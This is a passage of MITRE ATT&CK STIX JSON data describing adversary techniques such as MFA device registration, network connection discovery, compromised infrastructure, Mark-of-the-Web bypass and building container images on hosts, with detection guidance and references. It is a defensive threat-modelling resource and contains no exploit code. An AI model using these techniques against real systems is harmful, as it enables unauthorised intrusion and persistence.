            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Tristan Bennett, Seamless Intelligence",
                "Lee Christensen, SpecterOps",
                "Thirumalai Natarajan, Mandiant"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Linux",
                "macOS",
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
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                "Active Directory: Active Directory Object Modification",
                "Windows Registry: Windows Registry Key Access",
                "File: File Access",
                "Logon Session: Logon Session Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--7decb26c-715c-40cf-b7e0-026f7d7cc215",
            "created": "2022-03-04T18:30:38.989Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1098/005",
                    "external_id": "T1098.005"
                },
                {
                    "source_name": "CISA MFA PrintNightmare",
                    "description": "Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and \u201cPrintNightmare\u201d Vulnerability. Retrieved March 16, 2022.",
                    "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a"
                },
                {
                    "source_name": "Mandiant APT29 Microsoft 365 2022",
                    "description": "Douglas Bienstock. (2022, August 18). You Can\u2019t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft"
                },
                {
                    "source_name": "AADInternals - Conditional Access Bypass",
                    "description": "Dr. Nestori Syynimaa. (2020, September 6). Bypassing conditional access by faking device compliance. Retrieved March 4, 2022.",
                    "url": "https://o365blog.com/post/mdm"
                },
                {
                    "source_name": "AADInternals - BPRT",
                    "description": "Dr. Nestori Syynimaa. (2021, January 31). BPRT unleashed: Joining multiple devices to Azure AD and Intune. Retrieved March 4, 2022.",
                    "url": "https://o365blog.com/post/bprt/"
                },
                {
                    "source_name": "AADInternals - Device Registration",
                    "description": "Dr. Nestori Syynimaa. (2021, March 3). Deep-dive to Azure AD device join. Retrieved March 9, 2022.",
                    "url": "https://o365blog.com/post/devices/"
                },
                {
                    "source_name": "DarkReading FireEye SolarWinds",
                    "description": "Kelly Jackson Higgins. (2021, January 7). FireEye's Mandia: 'Severity-Zero Alert' Led to Discovery of SolarWinds Attack. Retrieved April 18, 2022.",
                    "url": "https://www.darkreading.com/threat-intelligence/fireeye-s-mandia-severity-zero-alert-led-to-discovery-of-solarwinds-attack"
                },
                {
                    "source_name": "Microsoft - Device Registration",
                    "description": "Microsoft 365 Defender Threat Intelligence Team. (2022, January 26). Evolved phishing: Device registration trick adds to phishers\u2019 toolbox for victims without MFA. Retrieved March 4, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-adds-to-phishers-toolbox-for-victims-without-mfa"
                },
                {
                    "source_name": "Microsoft DEV-0537",
                    "description": "Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T22:17:39.860Z",
            "name": "Device Registration",
            "description": "Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\n\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user\u2019s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)\n\nSimilarly, an adversary with existing access to a network may register a device to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) \n\nDevices registered in Entra ID may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Entra ID tenant by registering a large number of devices.(Citation: AADInternals - BPRT)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Pawel Partyka, Microsoft 365 Defender",
                "Mike Moran",
                "Joe Gumke, U.S. Bank",
                "Arad Inbar, Fidelis Security",
                "Arun Seelagan, CISA"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Identity Provider"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Active Directory: Active Directory Object Creation",
                "User Account: User Account Modification"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "created": "2017-05-31T21:30:45.139Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1049",
                    "external_id": "T1049"
                },
                {
                    "source_name": "Amazon AWS VPC Guide",
                    "description": "Amazon. (n.d.). What Is Amazon VPC?. Retrieved October 6, 2019.",
                    "url": "https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html"
                },
                {
                    "source_name": "Microsoft Azure Virtual Network Overview",
                    "description": "Annamalai, N., Casey, C., Almeida, M., et. al.. (2019, June 18). What is Azure Virtual Network?. Retrieved October 6, 2019.",
                    "url": "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview"
                },
                {
                    "source_name": "Google VPC Overview",
                    "description": "Google. (2019, September 23). Virtual Private Cloud (VPC) network overview. Retrieved October 6, 2019.",
                    "url": "https://cloud.google.com/vpc/docs/vpc"
                },
                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
                },
                {
                    "source_name": "Sygnia ESXi Ransomware 2025",
                    "description": "Zhongyuan Hau (Aaron), Ren Jie Yow, and Yoav Mazor. (2025, January 21). ESXi Ransomware Attacks: Stealthy Persistence through. Retrieved March 27, 2025.",
                    "url": "https://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "modified": "2025-04-15T19:58:45.496Z",
            "name": "System Network Connections Discovery",
            "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\nAn adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to \"net session\". Additionally, built-in features native to network devices and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) may be used (e.g. <code>show ip sockets</code>, <code>show tcp brief</code>).(Citation: US-CERT-TA18-106A) On ESXi servers, the command `esxi network ip connection list` can be used to list active network connections.(Citation: Sygnia ESXi Ransomware 2025)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Praetorian",
                "Austin Clark, @c2defense"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather system and network information with built-in features native to the network device platform.  Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "IaaS",
                "Linux",
                "macOS",
                "Network Devices",
                "ESXi"
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            "x_mitre_version": "2.5",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Process: Process Creation",
                "Command: Command Execution"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9",
            "created": "2020-10-01T00:36:30.759Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1584",
                    "external_id": "T1584"
                },
                {
                    "source_name": "amnesty_nso_pegasus",
                    "description": "Amnesty International Security Lab. (2021, July 18). Forensic Methodology Report: How to catch NSO Group\u2019s Pegasus. Retrieved February 22, 2022.",
                    "url": "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/"
                },
                {
                    "source_name": "Sysdig Proxyjacking",
                    "description": "Crystal Morin. (2023, April 4). Proxyjacking has Entered the Chat. Retrieved July 6, 2023.",
                    "url": "https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/"
                },
                {
                    "source_name": "FireEye DNS Hijack 2019",
                    "description": "Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html"
                },
                {
                    "source_name": "ICANNDomainNameHijacking",
                    "description": "ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved November 17, 2024.",
                    "url": "https://www.icann.org/en/ssac/registration-services/documents/sac-007-domain-name-hijacking-incidents-threats-risks-and-remediation-12-07-2005-en"
                },
                {
                    "source_name": "Koczwara Beacon Hunting Sep 2021",
                    "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
                    "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
                },
                {
                    "source_name": "Nearest Neighbor Volexity",
                    "description": "Koessel, Sean. Adair, Steven. Lancaster, Tom. (2024, November 22). The Nearest Neighbor Attack: How A Russian APT Weaponized Nearby Wi-Fi Networks for Covert Access. Retrieved February 25, 2025.",
                    "url": "https://www.volexity.com/blog/2024/11/22/the-nearest-neighbor-attack-how-a-russian-apt-weaponized-nearby-wi-fi-networks-for-covert-access/"
                },
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                },
                {
                    "source_name": "Talos DNSpionage Nov 2018",
                    "description": "Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020.",
                    "url": "https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html"
                },
                {
                    "source_name": "NSA NCSC Turla OilRig",
                    "description": "NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.",
                    "url": "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf"
                },
                {
                    "source_name": "Mandiant SCANdalous Jul 2020",
                    "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
                },
                {
                    "source_name": "FireEye EPS Awakens Part 2",
                    "description": "Winters, R. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.",
                    "url": "https://web.archive.org/web/20151226205946/https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:45.612Z",
            "name": "Compromise Infrastructure",
            "description": "Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.\n\nUse of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or [Phishing](https://attack.mitre.org/techniques/T1566) campaigns.(Citation: FireEye DNS Hijack 2019) Adversaries may also compromise numerous machines to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services or to form a botnet.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking) Additionally, adversaries may compromise infrastructure residing in close proximity to a target in order to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) via [Wi-Fi Networks](https://attack.mitre.org/techniques/T1669).(Citation: Nearest Neighbor Volexity)\n\nBy using compromised infrastructure, adversaries may enable follow-on malicious operations. Prior to targeting, adversaries may also compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)",
            "kill_chain_phases": [
                {
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                    "phase_name": "resource-development"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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                "Menachem Goldstein",
                "Cian Heasley",
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            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. \n\nOnce adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
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            "x_mitre_version": "1.6",
            "x_mitre_data_sources": [
                "Internet Scan: Response Content",
                "Domain Name: Domain Registration",
                "Domain Name: Active DNS",
                "Domain Name: Passive DNS",
                "Internet Scan: Response Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961",
            "created": "2021-02-22T14:20:31.650Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1553/005",
                    "external_id": "T1553.005"
                },
                {
                    "source_name": "Beek Use of VHD Dec 2020",
                    "description": "Beek, C. (2020, December 3). Investigating the Use of VHD Files By Cybercriminals. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20201203131725/https://christiaanbeek.medium.com/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316"
                },
                {
                    "source_name": "Outflank MotW 2020",
                    "description": "Hegt, S. (2020, March 30). Mark-of-the-Web from a red team\u2019s perspective. Retrieved February 22, 2021.",
                    "url": "https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/"
                },
                {
                    "source_name": "Intezer Russian APT Dec 2020",
                    "description": "Kennedy, J. (2020, December 9). A Zebra in Gopher's Clothing: Russian APT Uses COVID-19 Lures to Deliver Zebrocy. Retrieved February 22, 2021.",
                    "url": "https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/"
                },
                {
                    "source_name": "Microsoft Zone.Identifier 2020",
                    "description": "Microsoft. (2020, August 31). Zone.Identifier Stream Name. Retrieved February 22, 2021.",
                    "url": "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8"
                },
                {
                    "source_name": "Disable automount for ISO",
                    "description": "wordmann. (2022, February 8). Disable Disc Imgage. Retrieved February 8, 2022.",
                    "url": "https://gist.github.com/wdormann/fca29e0dcda8b5c0472e73e10c78c3e7"
                }
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            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:45.702Z",
            "name": "Mark-of-the-Web Bypass",
            "description": "Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named <code>Zone.Identifier</code> with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)\n\nAdversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)",
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor compressed/archive and image files downloaded from the Internet as the contents may not be tagged with the MOTW. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.(Citation: Disable automount for ISO)",
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            "type": "attack-pattern",
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            "id": "attack-pattern--7efba77e-3bc4-4ca5-8292-d8201dcd64b5",
            "created": "2020-10-19T19:11:18.757Z",
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                    "url": "https://attack.mitre.org/techniques/T1600/002",
                    "external_id": "T1600.002"
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                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
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            "name": "Disable Crypto Hardware",
            "description": "Adversaries disable a network device\u2019s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.\n\nMany network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). (Citation: Cisco Blog Legacy Device Attacks)",
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                    "phase_name": "defense-evasion"
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            "id": "attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e",
            "created": "2019-11-13T14:44:49.439Z",
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                    "url": "https://attack.mitre.org/techniques/T1542",
                    "external_id": "T1542"
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                {
                    "source_name": "ITWorld Hard Disk Health Dec 2014",
                    "description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved November 17, 2024.",
                    "url": "https://www.computerworld.com/article/1484887/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html"
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                {
                    "source_name": "Wikipedia Booting",
                    "description": "Wikipedia. (n.d.). Booting. Retrieved November 13, 2019.",
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            "description": "Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)\n\nAdversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.",
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching.\n\nDisk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014)",
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "Firmware: Firmware Modification"
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            "type": "attack-pattern",
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            "id": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44",
            "created": "2017-05-31T21:30:51.733Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1064",
                    "external_id": "T1064"
                },
                {
                    "source_name": "Metasploit_Ref",
                    "description": "Metasploit. (n.d.). Retrieved December 4, 2014.",
                    "url": "http://www.metasploit.com"
                },
                {
                    "source_name": "Veil_Ref",
                    "description": "Veil Framework. (n.d.). Retrieved December 4, 2014.",
                    "url": "https://www.veil-framework.com/framework/"
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                {
                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "url": "https://github.com/mattifestation/PowerSploit"
                },
                {
                    "source_name": "Alperovitch 2014",
                    "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
                },
                {
                    "source_name": "Uperesia Malicious Office Documents",
                    "description": "Felix. (2016, September). Analyzing Malicious Office Documents. Retrieved April 11, 2018.",
                    "url": "https://www.uperesia.com/analyzing-malicious-office-documents"
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            "object_marking_refs": [
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            "name": "Scripting",
            "description": "**This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.**\n\nAdversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.\n\nScripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)",
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                    "phase_name": "defense-evasion"
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
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            "x_mitre_detection": "Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nAnalyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "type": "attack-pattern",
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            "id": "attack-pattern--800f9819-7007-4540-a520-40e655876800",
            "created": "2021-03-30T17:54:03.944Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1612",
                    "external_id": "T1612"
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                {
                    "source_name": "Aqua Build Images on Hosts",
                    "description": "Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.",
                    "url": "https://blog.aquasec.com/malicious-container-image-docker-container-host"
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                {
                    "source_name": "Docker Build Image",
                    "description": "Docker. ( null). Docker Engine API v1.41 Reference - Build an Image. Retrieved March 30, 2021.",
                    "url": "https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild"
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                {
                    "source_name": "Aqua Security Cloud Native Threat Report June 2021",
                    "description": "Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021.",
                    "url": "https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation"
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            "modified": "2025-04-15T21:54:42.589Z",
            "name": "Build Image on Host",
            "description": "Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote <code>build</code> request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)\n\nAn adversary may take advantage of that <code>build</code> API to build a custom image on the host that includes malware downloaded from their C2 server, and then they may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it\u2019s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. ",
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                "Roi Kol, @roykol1, Team Nautilus Aqua Security",
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                "Vishwas Manral, McAfee"
